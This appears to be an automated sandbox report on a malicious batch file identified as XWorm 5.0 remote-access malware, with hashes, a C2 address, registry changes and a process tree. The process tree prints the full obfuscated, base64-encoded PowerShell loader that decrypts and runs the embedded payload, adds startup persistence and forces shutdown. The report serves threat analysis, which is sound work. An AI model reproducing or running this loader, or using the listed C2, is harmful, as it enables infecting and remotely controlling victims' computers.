Analysis
- max time kernel
50s - max time network
52s - platform
windows11-21h2_x64 - resource
win11-20250410-en - resource tags
arch:x64arch:x86image:win11-20250410-enlocale:en-usos:windows11-21h2-x64system - submitted
18/04/2025, 23:50
Static task
static1
Behavioral task
behavioral1
Sample
04cb.bat
Resource
win10v2004-20250314-en
13 signatures
150 seconds
Errors
Reason
Machine shutdown
General
- Target 04cb.bat
- Size 93KB
- Sample250418-3vsxcaysey
- SHA256 e5269c1e1058ff5344999040ab4d02ad3cc2cb1020a2e1d9de9c62fed5e9123f
- MD5 258e7f6f287106dda8c97422a776e823
- SHA1 0a7951e8bb7e2075f82a5205cc5b9ff572dd3813
- SHA512 0bafa0f852a4184414267d682543788f172f3ddb308404b355c84b3208313aefb381fc4a39f29535b1b977e59e3411df1a0bdb2c63b64965d2ffac8a821ec1e5
- SSDEEP 1536:EmS7S4IflTWjdSCzY4u8im0fkfthrkbmEKFfM9xb2rXkF5yA1otz93kywZbVl:E57HI4jd5zbu9vfkEX2rXkvLKh3knZVl
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
-
xworm
Version
-
5.0
C2
-
45.88.186.43:7232
Mutex
-
vEWcL28q6YgSznFe
Attributes
-
install_file
USB.exe
aes.plain
Signatures
- Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/2796-18-0x00000132FDAD0000-0x00000132FDADE000-memory.dmp family_xworm - Xworm family
- Blocklisted process makes network request 2 IoCs
flow pid Process 3 2796 powershell.exe 5 2796 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2796 powershell.exe - Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3750.bat powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3750.bat powershell.exe - Modifies data under HKEY_USERS 15 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "139" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268" LogonUI.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2796 powershell.exe 2796 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2796 powershell.exe Token: SeShutdownPrivilege 4900 shutdown.exe Token: SeRemoteShutdownPrivilege 4900 shutdown.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2356 LogonUI.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3280 wrote to memory of 5524 3280 cmd.exe 80 PID 3280 wrote to memory of 5524 3280 cmd.exe 80 PID 5524 wrote to memory of 2796 5524 cmd.exe 82 PID 5524 wrote to memory of 2796 5524 cmd.exe 82 PID 2796 wrote to memory of 4900 2796 powershell.exe 84 PID 2796 wrote to memory of 4900 2796 powershell.exe 84
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\04cb.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3280 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\04cb.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:5524 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR5aHV2bCA9IEAnDQokY3hmbWp0cmtkdXNxanRyaWVmeXBqdHJrID0gJGp0cmVudjpVanRyU0VSTkFqdHJNRTskaGp0cm5kZm55anRycHpjdXpqdHJidGR6IGp0cj0gIkM6anRyXFVzZXJqdHJzXCRjeGp0cmZta2R1anRyc3FpZWZqdHJ5cGtcZGp0cndtLmJhanRydCI7aWZqdHIgKFRlc2p0cnQtUGF0anRyaCAkaG5qdHJkZm55cGp0cnpjdXpianRydGR6KSBqdHJ7ICAgIGp0cldyaXRlanRyLUhvc3RqdHIgIkJhdGp0cmNoIGZpanRybGUgZm9qdHJ1bmQ6IGp0ciRobmRmanRybnlwemNqdHJ1emJ0ZGp0cnoiIC1GanRyb3JlZ3JqdHJvdW5kQ2p0cm9sb3IganRyQ3lhbjtqdHIgICAgJGp0cmZpbGVManRyaW5lcyBqdHI9IFtTeWp0cnN0ZW0uanRySU8uRmlqdHJsZV06Omp0clJlYWRBanRybGxMaW5qdHJlcygkaGp0cm5kZm55anRycHpjdXpqdHJidGR6LGp0ciBbU3lzanRydGVtLlRqdHJleHQuRWp0cm5jb2RpanRybmddOjpqdHJVVEY4KWp0cjsgICAganRyZm9yZWFqdHJjaCAoJGp0cmxpbmUganRyaW4gJGZqdHJpbGVMaWp0cm5lcykganRyeyAgICBqdHIgICAgaWp0cmYgKCRsanRyaW5lIC1qdHJtYXRjaGp0ciAnXjo6anRyOiA/KC5qdHIrKSQnKWp0ciB7ICAganRyICAgICBqdHIgICAgV2p0cnJpdGUtanRySG9zdCBqdHIiSW5qZWp0cmN0aW9uanRyIGNvZGVqdHIgZGV0ZWp0cmN0ZWQganRyaW4gdGhqdHJlIGJhdGp0cmNoIGZpanRybGUuIiBqdHItRm9yZWp0cmdyb3VuanRyZENvbG9qdHJyIEN5YWp0cm47ICAganRyICAgICBqdHIgICAgdGp0cnJ5IHsganRyICAgICBqdHIgICAgIGp0ciAgICAganRyJGRlY29qdHJkZWRCeWp0cnRlcyA9anRyIFtTeXNqdHJ0ZW0uQ2p0cm9udmVyanRydF06OkZqdHJyb21CYWp0cnNlNjRTanRydHJpbmdqdHIoJG1hdGp0cmNoZXNbanRyMV0uVHJqdHJpbSgpKWp0cjsgICAganRyICAgICBqdHIgICAgIGp0ciAgJGluanRyamVjdGlqdHJvbkNvZGp0cmUgPSBbanRyU3lzdGVqdHJtLlRleGp0cnQuRW5janRyb2RpbmdqdHJdOjpVbmp0cmljb2RlanRyLkdldFNqdHJ0cmluZ2p0cigkZGVjanRyb2RlZEJqdHJ5dGVzKWp0cjsgICAganRyICAgICBqdHIgICAgIGp0ciAgV3JpanRydGUtSG9qdHJzdCAiSWp0cm5qZWN0anRyaW9uIGNqdHJvZGUgZGp0cmVjb2RlanRyZCBzdWNqdHJjZXNzZmp0cnVsbHkuanRyIiAtRm9qdHJyZWdyb2p0cnVuZENvanRybG9yIEdqdHJyZWVuO2p0ciAgICAganRyICAgICBqdHIgICAgIGp0ciBXcml0anRyZS1Ib3NqdHJ0ICJFeGp0cmVjdXRpanRybmcgaW5qdHJqZWN0aWp0cm9uIGNvanRyZGUuLi5qdHIiIC1Gb2p0cnJlZ3JvanRydW5kQ29qdHJsb3IgWWp0cmVsbG93anRyOyAgICBqdHIgICAgIGp0ciAgICAganRyICBJbnZqdHJva2UtRWp0cnhwcmVzanRyc2lvbiBqdHIkaW5qZWp0cmN0aW9uanRyQ29kZTtqdHIgICAgIGp0ciAgICAganRyICAgICBqdHIgYnJlYWp0cms7ICAganRyICAgICBqdHIgICAgfWp0ciBjYXRjanRyaCB7ICBqdHIgICAgIGp0ciAgICAganRyICAgIFdqdHJyaXRlLWp0ckhvc3QganRyIkVycm9qdHJyIGR1cmp0cmluZyBkanRyZWNvZGlqdHJuZyBvcmp0ciBleGVjanRydXRpbmdqdHIgaW5qZWp0cmN0aW9uanRyIGNvZGVqdHI6ICRfImp0ciAtRm9yanRyZWdyb3VqdHJuZENvbGp0cm9yIFJlanRyZDsgICBqdHIgICAgIGp0ciAgICB9anRyOyAgICBqdHIgICAgfWp0cjsgICAganRyfTt9IGVqdHJsc2Uge2p0ciAgICAganRyIFdyaXRqdHJlLUhvc2p0cnQgIlN5anRyc3RlbSBqdHJFcnJvcmp0cjogQmF0anRyY2ggZmlqdHJsZSBub2p0cnQgZm91anRybmQ6ICRqdHJobmRmbmp0cnlwemN1anRyemJ0ZHpqdHIiIC1Gb2p0cnJlZ3JvanRydW5kQ29qdHJsb3IgUmp0cmVkOyAganRyICBleGlqdHJ0O307Zmp0cnVuY3RpanRyb24gc2dqdHJ1cXdocWp0cnFpd3lranRyc2JuKCRqdHJwYXJhbWp0cl92YXIpanRyewkkYWVqdHJzX3Zhcmp0cj1bU3lzanRydGVtLlNqdHJlY3VyaWp0cnR5LkNyanRyeXB0b2dqdHJyYXBoeWp0ci5BZXNdanRyOjpDcmVqdHJhdGUoKWp0cjsJJGFlanRyc192YXJqdHIuTW9kZWp0cj1bU3lzanRydGVtLlNqdHJlY3VyaWp0cnR5LkNyanRyeXB0b2dqdHJyYXBoeWp0ci5DaXBoanRyZXJNb2RqdHJlXTo6Q2p0ckJDOwkkanRyYWVzX3ZqdHJhci5QYWp0cmRkaW5nanRyPVtTeXNqdHJ0ZW0uU2p0cmVjdXJpanRydHkuQ3JqdHJ5cHRvZ2p0cnJhcGh5anRyLlBhZGRqdHJpbmdNb2p0cmRlXTo6anRyUEtDUzdqdHI7CSRhZWp0cnNfdmFyanRyLktleT1qdHJbU3lzdGp0cmVtLkNvanRybnZlcnRqdHJdOjpGcmp0cm9tQmFzanRyZTY0U3RqdHJyaW5nKGp0cidGbWROanRyUUEyZ2tqdHJzMW1scmp0ckt5S05TanRyUjB2djNqdHI4VFY2Y2p0cnc3cUZ5anRyV0FRZVRqdHJUTVNZPWp0cicpOwkkanRyYWVzX3ZqdHJhci5JVmp0cj1bU3lzanRydGVtLkNqdHJvbnZlcmp0cnRdOjpGanRycm9tQmFqdHJzZTY0U2p0cnRyaW5nanRyKCdTa3RqdHJTbGFySGp0cmNZN0ZXanRyVDNlVGlqdHJjMzFRPWp0cj0nKTsJanRyJGRlY3JqdHJ5cHRvcmp0cl92YXI9anRyJGFlc19qdHJ2YXIuQ2p0cnJlYXRlanRyRGVjcnlqdHJwdG9yKGp0cik7CSRyanRyZXR1cm5qdHJfdmFyPWp0ciRkZWNyanRyeXB0b3JqdHJfdmFyLmp0clRyYW5zanRyZm9ybUZqdHJpbmFsQmp0cmxvY2soanRyJHBhcmFqdHJtX3Zhcmp0ciwgMCwganRyJHBhcmFqdHJtX3Zhcmp0ci5MZW5nanRydGgpOwlqdHIkZGVjcmp0cnlwdG9yanRyX3Zhci5qdHJEaXNwb2p0cnNlKCk7anRyCSRhZXNqdHJfdmFyLmp0ckRpc3BvanRyc2UoKTtqdHIJJHJldGp0cnVybl92anRyYXI7fWZqdHJ1bmN0aWp0cm9uIGVjanRyZnV1cG9qdHJ1c3dqZWp0cmF5ZCgkanRycGFyYW1qdHJfdmFyKWp0cnsJJHhtanRyc3N2ampqdHJidXJtcGp0cmlwaz1OanRyZXctT2JqdHJqZWN0IGp0clN5c3RlanRybS5JTy5qdHJNZW1vcmp0cnlTdHJlanRyYW0oLCRqdHJwYXJhbWp0cl92YXIpanRyOwkkeWpqdHJsbm52eWp0cnFlbWVtanRyY3RtPU5qdHJldy1PYmp0cmplY3QganRyU3lzdGVqdHJtLklPLmp0ck1lbW9yanRyeVN0cmVqdHJhbTsJJGp0cmNxc2V6anRybHN6ZmVqdHJ2YmxkaGp0cj1OZXctanRyT2JqZWNqdHJ0IFN5c2p0cnRlbS5JanRyTy5Db21qdHJwcmVzc2p0cmlvbi5HanRyWmlwU3RqdHJyZWFtKGp0ciR4bXNzanRydmpqYnVqdHJybXBpcGp0cmssIFtJanRyTy5Db21qdHJwcmVzc2p0cmlvbi5DanRyb21wcmVqdHJzc2lvbmp0ck1vZGVdanRyOjpEZWNqdHJvbXByZWp0cnNzKTsJanRyJGNxc2VqdHJ6bHN6Zmp0cmV2YmxkanRyaC5Db3BqdHJ5VG8oJGp0cnlqbG5uanRydnlxZW1qdHJlbWN0bWp0cik7CSRjanRycXNlemxqdHJzemZldmp0cmJsZGguanRyRGlzcG9qdHJzZSgpO2p0cgkkeG1zanRyc3ZqamJqdHJ1cm1waWp0cnBrLkRpanRyc3Bvc2VqdHIoKTsJJGp0cnlqbG5uanRydnlxZW1qdHJlbWN0bWp0ci5EaXNwanRyb3NlKClqdHI7CSR5amp0cmxubnZ5anRycWVtZW1qdHJjdG0uVGp0cm9BcnJhanRyeSgpO31qdHJmdW5jdGp0cmlvbiBkanRyZ3FtaWpqdHJjbmJzeWp0cmRreWMoanRyJHBhcmFqdHJtX3Zhcmp0ciwkcGFyanRyYW0yX3ZqdHJhcil7CWp0ciRhZmVpanRyeWF0bWtqdHJoeXdvZmp0cnI9W1N5anRyc3RlbS5qdHJSZWZsZWp0cmN0aW9uanRyLkFzc2VqdHJtYmx5XWp0cjo6KCdkanRyYW9MJ1tqdHItMS4uLWp0cjRdIC1qanRyb2luICdqdHInKShbYmp0cnl0ZVtdanRyXSRwYXJqdHJhbV92YWp0cnIpOwkkanRyeGhoaW9qdHJ3d2RxeWp0cmdqZmpzanRyPSRhZmVqdHJpeWF0bWp0cmtoeXdvanRyZnIuRW5qdHJ0cnlQb2p0cmludDsJanRyJHhoaGlqdHJvd3dkcWp0cnlnamZqanRycy5JbnZqdHJva2UoJGp0cm51bGwsanRyICRwYXJqdHJhbTJfdmp0cmFyKTt9anRyJGhvc3RqdHIuVUkuUmp0cmF3VUkuanRyV2luZG9qdHJ3VGl0bGp0cmUgPSAkanRyaG5kZm5qdHJ5cHpjdWp0cnpidGR6anRyOyR2c2VqdHJjcmp5ZWp0cmpxdW9panRyaXo9W1NqdHJ5c3RlbWp0ci5JTy5GanRyaWxlXTpqdHI6KCd0eGp0cmVUbGxBanRyZGFlUidqdHJbLTEuLmp0ci0xMV0ganRyLWpvaW5qdHIgJycpKGp0ciRobmRmanRybnlwemNqdHJ1emJ0ZGp0cnopLlNwanRybGl0KFtqdHJFbnZpcmp0cm9ubWVuanRydF06Ok5qdHJld0xpbmp0cmUpO2ZvanRycmVhY2hqdHIgKCRqaGp0cnFkc2N2anRyZ3N3YWFqdHJvdG0gaWp0cm4gJHZzanRyZWNyanlqdHJlanF1b2p0cmlpeikganRyewlpZiBqdHIoJGpocWp0cmRzY3ZnanRyc3dhYW9qdHJ0bS5TdGp0cmFydHNXanRyaXRoKCdqdHI6OiAnKWp0cikJewkJanRyJHR5YWdqdHJ5dnFoY2p0cmhqanVwanRydD0kamhqdHJxZHNjdmp0cmdzd2FhanRyb3RtLlNqdHJ1YnN0cmp0cmluZygzanRyKTsJCWJqdHJyZWFrO2p0cgl9fSR0anRyYWR3eXhqdHJvdnhpeWp0cnNoa3g9anRyW3N0cmlqdHJuZ1tdXWp0ciR0eWFnanRyeXZxaGNqdHJoamp1cGp0cnQuU3BsanRyaXQoJ1xqdHInKTskdmp0cmNucWRqanRydXdzeHdqdHJmaGFnPWp0cmVjZnV1anRycG91c3dqdHJqZWF5ZGp0ciAoc2d1anRycXdocXFqdHJpd3lrc2p0cmJuIChbanRyQ29udmVqdHJydF06Omp0ckZyb21CanRyYXNlNjRqdHJTdHJpbmp0cmcoJHRhanRyZHd5eG9qdHJ2eGl5c2p0cmhreFswanRyXSkpKTtqdHIkbXJicWp0cmNheHJ2anRyb3FlcnFqdHJ5PWVjZmp0cnV1cG91anRyc3dqZWFqdHJ5ZCAoc2p0cmd1cXdoanRycXFpd3lqdHJrc2JuIGp0cihbQ29uanRydmVydF1qdHI6OkZyb2p0cm1CYXNlanRyNjRTdHJqdHJpbmcoJGp0cnRhZHd5anRyeG92eGlqdHJ5c2hreGp0clsxXSkpanRyKTtkZ3FqdHJtaWpjbmp0cmJzeWRranRyeWMgJHZqdHJjbnFkamp0cnV3c3h3anRyZmhhZyBqdHIkbnVsbGp0cjtkZ3FtanRyaWpjbmJqdHJzeWRreWp0cmMgJG1yanRyYnFjYXhqdHJydm9xZWp0cnJxeSAoanRyLFtzdHJqdHJpbmdbXWp0cl0gKCclanRyKicpKTsNCidADQoNCiR1bW13bSA9ICR5aHV2bCAtcmVwbGFjZSAnanRyJywgJycNCg0KSW52b2tlLUV4cHJlc3Npb24gJHVtbXdtDQo=')) | Invoke-Expression"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2796 -
C:\Windows\SYSTEM32\shutdown.exeshutdown.exe /f /s /t 04⤵
- Suspicious use of AdjustPrivilegeToken
PID:4900
-
-
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa3a27855 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2356
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nibwdyga.qfa.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\dwm.bat
- Size 93KB
- SHA256 e5269c1e1058ff5344999040ab4d02ad3cc2cb1020a2e1d9de9c62fed5e9123f
- MD5 258e7f6f287106dda8c97422a776e823
- SHA1 0a7951e8bb7e2075f82a5205cc5b9ff572dd3813
- SHA512 0bafa0f852a4184414267d682543788f172f3ddb308404b355c84b3208313aefb381fc4a39f29535b1b977e59e3411df1a0bdb2c63b64965d2ffac8a821ec1e5
- SSDEEP 1536:EmS7S4IflTWjdSCzY4u8im0fkfthrkbmEKFfM9xb2rXkF5yA1otz93kywZbVl:E57HI4jd5zbu9vfkEX2rXkvLKh3knZVl
- MD5 SHA1 SHA512 SSDEEP